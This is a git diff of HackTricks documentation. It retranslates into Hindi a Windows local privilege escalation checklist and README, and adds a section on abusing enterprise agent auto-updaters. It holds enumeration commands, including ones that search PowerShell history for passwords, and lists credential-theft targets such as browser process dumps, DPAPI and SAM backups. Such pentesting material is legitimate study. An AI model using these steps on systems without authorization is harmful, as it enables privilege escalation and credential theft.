diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 343cdd455..9a62d47c5 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -236,6 +236,7 @@ - [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md) - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + - [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md) - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md index 2166b8494..04fb2da00 100644 --- a/src/windows-hardening/checklist-windows-privilege-escalation.md +++ b/src/windows-hardening/checklist-windows-privilege-escalation.md @@ -1,114 +1,115 @@ -# Checklist - Local Windows Privilege Escalation +# चेकलिस्ट - Local Windows Privilege Escalation {{#include ../banners/hacktricks-training.md}} -### **Windows स्थानीय विशेषाधिकार वृद्धि वेक्टर की खोज के लिए सबसे अच्छा उपकरण:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Windows local privilege escalation vectors खोजने का सबसे अच्छा टूल:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) ### [System Info](windows-local-privilege-escalation/index.html#system-info) -- [ ] [**सिस्टम जानकारी**](windows-local-privilege-escalation/index.html#system-info) प्राप्त करें -- [ ] **कर्नेल** [**एक्सप्लॉइट्स के लिए स्क्रिप्ट का उपयोग करें**](windows-local-privilege-escalation/index.html#version-exploits) -- [ ] कर्नेल **एक्सप्लॉइट्स** के लिए **गूगल से खोजें** -- [ ] कर्नेल **एक्सप्लॉइट्स** के लिए **searchsploit से खोजें** -- [ ] [**env vars**](windows-local-privilege-escalation/index.html#environment) में दिलचस्प जानकारी? -- [ ] [**PowerShell इतिहास**](windows-local-privilege-escalation/index.html#powershell-history) में पासवर्ड? -- [ ] [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings) में दिलचस्प जानकारी? +- [ ] प्राप्त करें [**System information**](windows-local-privilege-escalation/index.html#system-info) +- [ ] खोजें **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits) +- [ ] kernel **exploits** खोजने के लिए **Google** का उपयोग करें +- [ ] kernel **exploits** खोजने के लिए **searchsploit** का उपयोग करें +- [ ] [**env vars**](windows-local-privilege-escalation/index.html#environment) में कोई रोचक जानकारी? +- [ ] [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history) में पासवर्ड? +- [ ] [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings) में कोई रोचक जानकारी? - [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)? - [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)? +- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)? ### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration) -- [ ] [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings) और [**WEF** ](windows-local-privilege-escalation/index.html#wef) सेटिंग्स की जांच करें -- [ ] [**LAPS**](windows-local-privilege-escalation/index.html#laps) की जांच करें -- [ ] जांचें कि [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) सक्रिय है या नहीं +- [ ] जांचें [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)और [**WEF** ](windows-local-privilege-escalation/index.html#wef)settings +- [ ] जांचें [**LAPS**](windows-local-privilege-escalation/index.html#laps) +- [ ] जांचें क्या [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)सक्रिय है - [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)? - [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials) - [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)? -- [ ] जांचें कि कोई [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) है या नहीं +- [ ] जांचें क्या कोई [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) - [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? - [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) - [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] [**वर्तमान** उपयोगकर्ता **विशेषाधिकार**](windows-local-privilege-escalation/index.html#users-and-groups) की जांच करें -- [ ] क्या आप [**किसी विशेषाधिकार प्राप्त समूह के सदस्य हैं**](windows-local-privilege-escalation/index.html#privileged-groups)? -- [ ] जांचें कि आपके पास [इनमें से कोई भी टोकन सक्षम है](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? +- [ ] जांचें [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups) +- [ ] क्या आप [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)? +- [ ] जांचें क्या आपके पास इनमें से कोई token सक्षम है](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? - [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)? -- [ ] [**users homes**](windows-local-privilege-escalation/index.html#home-folders) की जांच करें (पहुँच?) -- [ ] [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) की जांच करें -- [ ] [**Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard) के अंदर क्या है? +- [ ] जांचें[ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (access?) +- [ ] जांचें [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) +- [ ] क्या है[ **inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)? ### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] **वर्तमान** [**नेटवर्क** **जानकारी**](windows-local-privilege-escalation/index.html#network) की जांच करें -- [ ] **छिपी हुई स्थानीय सेवाओं** की जांच करें जो बाहर के लिए प्रतिबंधित हैं +- [ ] जांचें **current** [**network** **information**](windows-local-privilege-escalation/index.html#network) +- [ ] बाहरी से restricted छिपी हुई local services की जाँच करें ### [Running Processes](windows-local-privilege-escalation/index.html#running-processes) -- [ ] प्रक्रियाओं के बाइनरी [**फाइल और फ़ोल्डर अनुमतियाँ**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) +- [ ] Processes binaries के [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) - [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining) - [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps) -- [ ] क्या आप **दिलचस्प प्रक्रियाओं** के माध्यम से क्रेडेंशियल चुरा सकते हैं `ProcDump.exe` ? (फायरफॉक्स, क्रोम, आदि ...) +- [ ] `ProcDump.exe` से रोचक processes के साथ क्रेडेंशियल चुराएँ ? (firefox, chrome, आदि ...) ### [Services](windows-local-privilege-escalation/index.html#services) -- [ ] [क्या आप **किसी सेवा को संशोधित कर सकते हैं**?](windows-local-privilege-escalation/index.html#permissions) -- [ ] [क्या आप **किसी सेवा द्वारा ** निष्पादित **बाइनरी** को **संशोधित कर सकते हैं**?](windows-local-privilege-escalation/index.html#modify-service-binary-path) -- [ ] [क्या आप किसी **सेवा** के **रजिस्ट्री** को **संशोधित कर सकते हैं**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions) -- [ ] [क्या आप किसी **अनकोटेड सेवा** बाइनरी **पथ** का लाभ उठा सकते हैं?](windows-local-privilege-escalation/index.html#unquoted-service-paths) +- [ ] क्या आप किसी भी service को **modify** कर सकते हैं? (permissions) (Can you **modify any service**?) +- [ ] क्या आप किसी भी service द्वारा **execute** किए जाने वाले **binary** को **modify** कर सकते हैं? (Can you **modify** the **binary** that is **executed** by any **service**?) +- [ ] क्या आप किसी भी service के **registry** को **modify** कर सकते हैं? (Can you **modify** the **registry** of any **service**?) +- [ ] क्या आप किसी भी **unquoted service** binary **path** का फायदा उठा सकते हैं? (unquoted service paths) ### [**Applications**](windows-local-privilege-escalation/index.html#applications) -- [ ] **स्थापित अनुप्रयोगों पर** [**लिखने** की अनुमतियाँ](windows-local-privilege-escalation/index.html#write-permissions) +- [ ] इंस्टॉल किए गए applications पर **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions) - [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) -- [ ] **कमजोर** [**ड्राइवर**](windows-local-privilege-escalation/index.html#drivers) +- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers) ### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking) -- [ ] क्या आप **PATH के अंदर किसी फ़ोल्डर में लिख सकते हैं**? -- [ ] क्या कोई ज्ञात सेवा बाइनरी है जो **किसी गैर-मौजूद DLL को लोड करने की कोशिश करती है**? -- [ ] क्या आप **किसी बाइनरी फ़ोल्डर में लिख सकते हैं**? +- [ ] क्या आप PATH के किसी भी फोल्डर में **write** कर सकते हैं? (Can you **write in any folder inside PATH**?) +- [ ] क्या कोई जाना-पहचाना service binary है जो कोई non-existant DLL लोड करने की कोशिश करता है? +- [ ] क्या आप किसी भी **binaries folder** में **write** कर सकते हैं? ### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] नेटवर्क का एन्यूमरेट करें (शेयर, इंटरफेस, रूट, पड़ोसी, ...) -- [ ] लोकलहोस्ट (127.0.0.1) पर सुनने वाली नेटवर्क सेवाओं पर विशेष ध्यान दें +- [ ] नेटवर्क का enumeration करें (shares, interfaces, routes, neighbours, ...) +- [ ] localhost (127.0.0.1) पर सुनने वाली network services पर विशेष ध्यान दें ### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials) -- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) क्रेडेंशियल्स -- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) क्रेडेंशियल्स जो आप उपयोग कर सकते हैं? -- [ ] दिलचस्प [**DPAPI क्रेडेंशियल्स**](windows-local-privilege-escalation/index.html#dpapi)? -- [ ] [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi) के पासवर्ड? -- [ ] [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections) में दिलचस्प जानकारी? +- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)credentials +- [ ] क्या उपयोग करने योग्य [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials हैं? +- [ ] रोचक [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)? +- [ ] सेव्ड [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi) के पासवर्ड? +- [ ] सेव्ड RDP कनेक्शनों में रोचक जानकारी [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)? - [ ] [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands) में पासवर्ड? -- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) के पासवर्ड? -- [ ] [**AppCmd.exe** मौजूद है](windows-local-privilege-escalation/index.html#appcmd-exe)? क्रेडेंशियल्स? -- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL साइड लोडिंग? +- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) पासवर्ड? +- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credentials? +- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading? ### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) -- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **और** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) +- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) - [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? - [ ] [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files) में पासवर्ड? -- [ ] कोई [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) बैकअप? +- [ ] कोई [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) backup? - [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)? -- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) फ़ाइल? +- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) फाइल? - [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? - [ ] [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config) में पासवर्ड? -- [ ] [**web** **logs**](windows-local-privilege-escalation/index.html#logs) में दिलचस्प जानकारी? -- [ ] क्या आप [**credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) के लिए उपयोगकर्ता से पूछना चाहते हैं? -- [ ] [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin) के अंदर दिलचस्प फ़ाइलें? -- [ ] अन्य [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)? -- [ ] [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) के अंदर (dbs, इतिहास, बुकमार्क, ...)? -- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) फ़ाइलों और रजिस्ट्री में -- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) जो स्वचालित रूप से पासवर्ड खोजने के लिए हैं +- [ ] [**web** **logs**](windows-local-privilege-escalation/index.html#logs) में रोचक जानकारी? +- [ ] क्या आप उपयोगकर्ता से क्रेडेंशियल पूछना चाहेंगे? [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) +- [ ] रीसायकल बिन के अंदर रोचक [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)? +- [ ] अन्य [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry) +- [ ] ब्राउज़र डेटा के अंदर (dbs, history, bookmarks, ...) [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history)? +- [ ] फाइलों और रजिस्ट्री में [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) +- [ ] पासवर्ड ऑटोमेटिकली खोजने के लिए [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) ### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers) -- [ ] क्या आपके पास किसी प्रक्रिया के हैंडलर तक पहुंच है जो व्यवस्थापक द्वारा चलायी जाती है? +- [ ] क्या आपके पास किसी administrator द्वारा चलाए गए process का कोई handler है? ### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) -- [ ] जांचें कि क्या आप इसका दुरुपयोग कर सकते हैं +- [ ] जांचें क्या आप इसका दुरुपयोग कर सकते हैं {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 0a0aed46b..6df4d4f16 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -### **Windows local privilege escalation vectors के लिए सबसे अच्छा टूल:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Windows local privilege escalation vectors खोजने के लिए सबसे अच्छा टूल:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## प्रारंभिक Windows सिद्धांत +## प्रारम्भिक Windows सिद्धांत ### Access Tokens -**यदि आप नहीं जानते कि Windows Access Tokens क्या हैं, तो आगे बढ़ने से पहले निम्नलिखित पृष्ठ पढ़ें:** +**यदि आप नहीं जानते कि Windows Access Tokens क्या हैं, तो आगे बढ़ने से पहले निम्न पृष्ठ पढ़ें:** {{#ref}} @@ -17,7 +17,7 @@ access-tokens.md ### ACLs - DACLs/SACLs/ACEs -**ACLs - DACLs/SACLs/ACEs के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:** +**ACLs - DACLs/SACLs/ACEs के बारे में अधिक जानकारी के लिए निम्न पृष्ठ देखें:** {{#ref}} @@ -26,27 +26,27 @@ acls-dacls-sacls-aces.md ### Integrity Levels -**यदि आप नहीं जानते कि Windows में Integrity Levels क्या हैं, तो आगे बढ़ने से पहले निम्नलिखित पृष्ठ पढ़ें:** +**यदि आप नहीं जानते कि Windows में integrity levels क्या हैं, तो आगे बढ़ने से पहले निम्न पृष्ठ पढ़ें:** {{#ref}} integrity-levels.md {{#endref}} -## Windows सुरक्षा नियंत्रण +## Windows Security Controls -Windows में कई अलग-अलग चीज़ें हैं जो कि आपको **prevent you from enumerating the system**, executable चलाने से रोक सकती हैं या यहाँ तक कि आपकी गतिविधियों को **detect your activities** भी कर सकती हैं। आपको निम्नलिखित **page** को **read** करना चाहिए और इन सभी **defenses** **mechanisms** को **enumerate** करना चाहिए इससे पहले कि आप privilege escalation enumeration शुरू करें: +Windows में अलग‑अलग चीज़ें होती हैं जो कि **prevent you from enumerating the system**, executable चलाने से रोक सकती हैं या यहाँ तक कि आपकी गतिविधियों को **detect your activities** कर सकती हैं। आपको निम्न **page** को **read** करना चाहिए और इन सभी **defenses** **mechanisms** को **enumerate** करना चाहिए **before starting the privilege escalation enumeration:** {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} -## सिस्टम जानकारी +## System Info ### Version info enumeration -जाँचें कि Windows version में कोई ज्ञात vulnerability है या नहीं (लगाए गए patches भी जाँचें)। +जाँचें कि क्या Windows version में कोई ज्ञात vulnerability है (लागू किए गए patches को भी चेक करें)। ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -61,16 +61,16 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches ``` ### Version Exploits -यह [site](https://msrc.microsoft.com/update-guide/vulnerability) Microsoft security vulnerabilities के बारे में विस्तृत जानकारी खोजने के लिए उपयोगी है। यह डेटाबेस 4,700 से अधिक security vulnerabilities को सूचीबद्ध करता है, जो एक Windows environment द्वारा प्रस्तुत किए गए **massive attack surface** को दर्शाता है। +यह [site](https://msrc.microsoft.com/update-guide/vulnerability) Microsoft security vulnerabilities के बारे में विस्तृत जानकारी खोजने के लिए उपयोगी है। इस database में 4,700 से अधिक security vulnerabilities हैं, जो Windows environment द्वारा प्रस्तुत किए गए **massive attack surface** को दिखाते हैं। **सिस्टम पर** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas में watson शामिल है)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas में watson embedded है)_ -**लोकल रूप से system information के साथ** +**स्थानीय रूप से सिस्टम जानकारी के साथ** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) @@ -99,9 +99,9 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` -### PowerShell Transcript फ़ाइलें +### PowerShell ट्रांसक्रिप्ट फ़ाइलें -इसे चालू करने का तरीका आप [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) पर सीख सकते हैं +इसे सक्षम करने का तरीका आप यहाँ से जान सकते हैं [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,30 +116,30 @@ Stop-Transcript ``` ### PowerShell Module Logging -PowerShell पाइपलाइन निष्पादन का विवरण रिकॉर्ड किया जाता है, जिसमें निष्पादित कमांड, कमांड आह्वान और स्क्रिप्ट के हिस्से शामिल होते हैं। हालांकि, पूर्ण निष्पादन विवरण और आउटपुट परिणाम पूरी तरह कैप्चर नहीं हो सकते। +PowerShell पाइपलाइन के निष्पादन का विवरण रिकॉर्ड किया जाता है, जिसमें निष्पादित कमांड, कमांड इनवोकेशन और स्क्रिप्ट के हिस्से शामिल होते हैं। हालांकि, पूर्ण निष्पादन विवरण और आउटपुट परिणाम हमेशा कैप्चर नहीं होते। -इसे सक्षम करने के लिए, documentation के "Transcript files" सेक्शन में दिए गए निर्देशों का पालन करें, और **"Module Logging"** को **"Powershell Transcription"** के बजाय चुनें। +इसे सक्षम करने के लिए, दस्तावेज़ के "Transcript files" सेक्शन में दिए निर्देशों का पालन करें, **"Module Logging"** का चयन करें न कि **"Powershell Transcription"**। ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -PowersShell logs से आखिरी 15 events देखने के लिए आप निम्नलिखित कमांड चला सकते हैं: +PowerShell logs से आखिरी 15 events देखने के लिए आप निम्नलिखित चला सकते हैं: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -स्क्रिप्ट के निष्पादन की पूरी गतिविधि और संपूर्ण सामग्री का रिकॉर्ड कैप्चर किया जाता है, जिससे यह सुनिश्चित होता है कि कोड का प्रत्येक ब्लॉक चलते समय दस्तावेजीकृत होता है। यह प्रक्रिया प्रत्येक गतिविधि का एक व्यापक ऑडिट ट्रेल संरक्षित करती है, जो forensics और malicious behavior के विश्लेषण के लिए मूल्यवान है। निष्पादन के समय सभी गतिविधियों का दस्तावेजीकरण करके प्रक्रिया के बारे में विस्तृत अंतर्दृष्टि प्रदान की जाती है। +स्क्रिप्ट के निष्पादन की पूरी गतिविधि और पूर्ण कंटेंट रिकॉर्ड किया जाता है, जिससे यह सुनिश्चित होता है कि कोड का प्रत्येक ब्लॉक चलते समय दस्तावेजीकृत हो। यह प्रक्रिया प्रत्येक गतिविधि का एक व्यापक audit trail बनाए रखती है, जो forensics और malicious behavior के विश्लेषण के लिए मूल्यवान है। निष्पादन के समय सभी गतिविधियों को दस्तावेजीकृत करके प्रक्रिया के बारे में विस्तृत जानकारी प्रदान की जाती है। ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Script Block के लॉगिंग इवेंट्स Windows Event Viewer में निम्न पाथ पर पाए जा सकते हैं: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ -आखिरी 20 इवेंट्स देखने के लिए आप उपयोग कर सकते हैं: +Script Block के लॉगिंग ईवेंट्स Windows Event Viewer में इस पथ पर मिल सकते हैं: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +आखिरी 20 ईवेंट देखने के लिए आप उपयोग कर सकते हैं: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` @@ -156,9 +156,9 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -यदि अपडेट्स http**S** की बजाय http के माध्यम से अनुरोधित किए जा रहे हों तो आप सिस्टम को compromise कर सकते हैं। +यदि अपडेट्स http**S** का उपयोग करके अनुरोधित नहीं किए जाते बल्कि http का उपयोग किया जाता है, तो आप सिस्टम को समझौता कर सकते हैं। -आप cmd में निम्नलिखित चलाकर यह जांच करते हैं कि नेटवर्क non-SSL WSUS update का उपयोग कर रहा है या नहीं: +आप यह जांच करके शुरू करते हैं कि नेटवर्क non-SSL WSUS update का उपयोग करता है या नहीं, इसके लिए cmd में निम्नलिखित चलाएँ: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` @@ -166,7 +166,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -यदि आपको इनमें से कोई प्रतिक्रिया मिलती है: +यदि आपको इस तरह का कोई उत्तर मिलता है: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -197,15 +197,23 @@ CTX_WSUSpect_White_Paper (1).pdf [**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ Basically, this is the flaw that this bug exploits: -> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset. +> यदि हमारे पास अपने लोकल यूज़र प्रॉक्सी को संशोधित करने की क्षमता है, और Windows Updates Internet Explorer की सेटिंग्स में कॉन्फ़िगर किए गए प्रॉक्सी का उपयोग करता है, तो हमारे पास [PyWSUS](https://github.com/GoSecure/pywsus) को लोकली रन करने की क्षमता होगी ताकि हम अपने ही ट्रैफ़िक को इंटरसेप्ट कर सकें और अपने एसेट पर एक elevated user के रूप में कोड चला सकें। > -> Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service. +> इसके अलावा, चूँकि WSUS सर्विस वर्तमान यूज़र की सेटिंग्स का उपयोग करती है, यह उसके certificate store का भी उपयोग करेगी। यदि हम WSUS hostname के लिए एक self-signed certificate जनरेट करते हैं और इस सर्टिफिकेट को वर्तमान यूज़र के certificate store में जोड़ते हैं, तो हम HTTP और HTTPS दोनों WSUS ट्रैफ़िक को इंटरसेप्ट कर पाएँगे। WSUS सर्टिफिकेट पर trust-on-first-use प्रकार की वैधता लागू करने के लिए किसी HSTS-like मैकेनिज़म का उपयोग नहीं करता। यदि प्रस्तुत सर्टिफिकेट यूज़र द्वारा trusted है और इसके पास सही hostname है, तो सर्विस इसे स्वीकार कर लेगी। You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated). +## Third-Party Auto-Updaters and Agent IPC (local privesc) + +कई enterprise agents एक localhost IPC surface और एक privileged update चैनल एक्सपोज़ करते हैं। यदि enrollment को एक attacker server की ओर मजबूर किया जा सकता है और updater किसी rogue root CA या weak signer checks पर भरोसा करता है, तो एक लोकल यूज़र एक malicious MSI डिलीवर कर सकता है जिसे SYSTEM service इंस्टॉल कर देता है। एक generalized technique (Netskope stAgentSvc chain – CVE-2025-0309 पर आधारित) यहाँ देखें: + +{{#ref}} +abusing-auto-updaters-and-ipc.md +{{#endref}} + ## KrbRelayUp -A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**. +Windows **domain** environments में विशिष्ट परिस्थितियों के तहत एक **local privilege escalation** कमजोरी मौजूद है। इन परिस्थितियों में ऐसे वातावरण शामिल हैं जहाँ 